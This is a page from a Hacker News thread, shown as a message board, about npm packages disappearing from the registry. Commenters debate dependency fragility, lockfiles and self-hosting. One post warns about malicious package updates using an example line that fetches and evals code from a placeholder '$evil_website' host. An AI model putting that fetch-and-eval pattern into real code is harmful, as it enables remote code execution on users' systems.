Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Many packages suddenly disappeared

github.com

Post reply on HN
Print view View original

371–380 of 520 posts

Re: Many packages suddenly disappeared

#371

Post by heartbreak »

borntyping wrote: post #284
notatoad wrote: post #106

Earlier quoted context omitted.

A "house of cards" implies that you don't have to dig to topple it. If you have to really dig down into how it's put together in order to start pulling it apart it isn't really a house of cards. I don't use npm or node for anything serious, and i don't really have any knowledge of how NPM works, but this isn't the first time i've read this story of a whole bunch of packages disappearing and everybody's builds breakin…

> If everything is a house of cards, then why don't i hear the same stories about PyPI or gems or crates? npm is roughly twice as big as PyPI, RubyGems and crates.io together.

Disappearing packages due to a deleted user is not an issue of scale.

Re: Many packages suddenly disappeared

#372

Post by schmookeeg »

krzyk wrote: post #26

So they didn't learn anything from left-pad situation from 1.5 year ago? Packages that are published should be immutable, just like in maven repo case.

I'm looking forward to envying the blokes who release blockchain-repo and make a gozillion bucks for solving this problem. :)

Re: Many packages suddenly disappeared

#373

Post by zapt02 »

gkya wrote: post #299
roywiggins wrote: post #221

Earlier quoted context omitted.

A bit like PHP in that way?

Well, kind of. Node was not a general purpose tool as conceived initially. You would write some I/O bound servers in it. And PHP too is not a general purpose tool, it is for writing interactive web pages (in its pre-Web2.0 sense) easily. Though Node.js was way more intellectually designed. I don't know much about PHP, but there's lots of literature (see https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/ ).

I wonder when people will stop quoting this 4+ year old article. Most of what are actually issues are long fixed. https://php.vrana.cz/php-a-fractal-of-not-so-bad-design.php

Re: Many packages suddenly disappeared

#374

Post by zbentley »

djsumdog wrote: post #211
xxkylexx wrote: post #27

> Update - Most of the deleted packages have been restored and installation of those packages should succeed. Nine packages are still in the process of restoration. > Jan 6, 20:12 UTC https://status.npmjs.org/incidents/41zfb8qpvrdj

From the Github issue: > Beginning at 18:36 GMT today, 106 packages were made unavailable from the registry. 97 of them were restored immediately. Unfortunately, people published over 9 of them, causing delays in the restoration of those 9. We are continuing to clean up the overpublications. All installations that depend on the 106 packages should now be working. Hard to believe less than a hundred packages cause so…

> Hard to believe less than a hundred packages cause so many issues. NPM's dependency hierarchy is pretty insane.

Ever heard of glibc?

Re: Many packages suddenly disappeared

#375

Post by dadvader »

nukeop wrote: post #300
corndoge wrote: post #285

Earlier quoted context omitted.

typical JavaScript engineering

Javascript is a very handy language, it's held back by all the gymnastics it needs to do to get over browser/www limitations, and an influx of low skill developers with no diploma.

> it's held back by all the gymnastics it needs to do to get over browser/www limitations,

I suppose, but I think it's the javascript "nature" ( dynamic typing along with the scripting style of wanting to be a "swiss knife" to solve all problems ). Javascript, like perl and even C, gives you a lot of rope to hang yourself. And like perl and C, javascript initially seems simple and easy and it deceives you into thinking novices know what they are doing.

> and an influx of low skill developers with no diploma.

That's true of all languages though. Plenty of incompetent developers at all levels and all languages. I don't think it's a javascript issue.

Re: Many packages suddenly disappeared

#376

Post by zbentley »

panarky wrote: post #66
mschuster91 wrote: post #41

Earlier quoted context omitted.

> Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Install an instance of Sonatype Nexus, create a proxy-repo for npm (and Maven if you also use Java) and that's it. What, however, won't be caught is Docker (because that crap insists on directly talking to the Dockerhub servers, which is a giant security hole waiting to happen) and PHP com…

Or just don't .gitignore node_modules, then diff any changes to node_modules on update.

That has some advantages, but some really big drawbacks as well:

- Incredibly slow git operations unless you use the perfect options every time (good luck, new devs).

- Requires either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read.

- Actually understanding the diffs you read. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.

Re: Many packages suddenly disappeared

#377

Post by ghiculescu »

rmrfrmrf wrote: post #154
the_duke wrote: post #87

Earlier quoted context omitted.

It's useless in cases like this though, where the package is already invalidated in the yarn cache, which is the case right now for many packages.

You should be using the --frozen-lockfile flag in any production build system.

I find it so silly that this isn’t the default behaviour.

Re: Many packages suddenly disappeared

#378

Post by zbentley »

throwaway66666 wrote: post #37

I never understood the love for package managers that directly hook and import things into your codebase or repo or even worse servers. I guess the benefit is that "it just works", but the fact that you do not know where a package is coming from can't be worrying just me. In my company we take the stable version of the library we want to use and we self-host it. We basically have added a cache that we manage and cont…

This can be a good strategy, it just trades one set of problems for another.

Bleeding-edge packages from possibly compromised hosts, or self-hosted old versions with potential bugs, security issues, and hard-to-find documentation.

Pick your poison, unless you're Red Hat and can spend the time to backport security/bug fixes and maintain a knowledge base for your old versions.

Re: Many packages suddenly disappeared

#379

Post by mrlatinos »

sillysaurus3 wrote: post #313
seldo wrote: post #291

Earlier quoted context omitted.

Absofuckinglutely. It's being done as we speak.

Ha, thanks for speaking plainly. It's so refreshing. Sometimes a fuckbomb is the best way. Rarely and tastefully, but still.

It's unprofessional in circumstances such as this imo, but to each their own.
Post reply on HN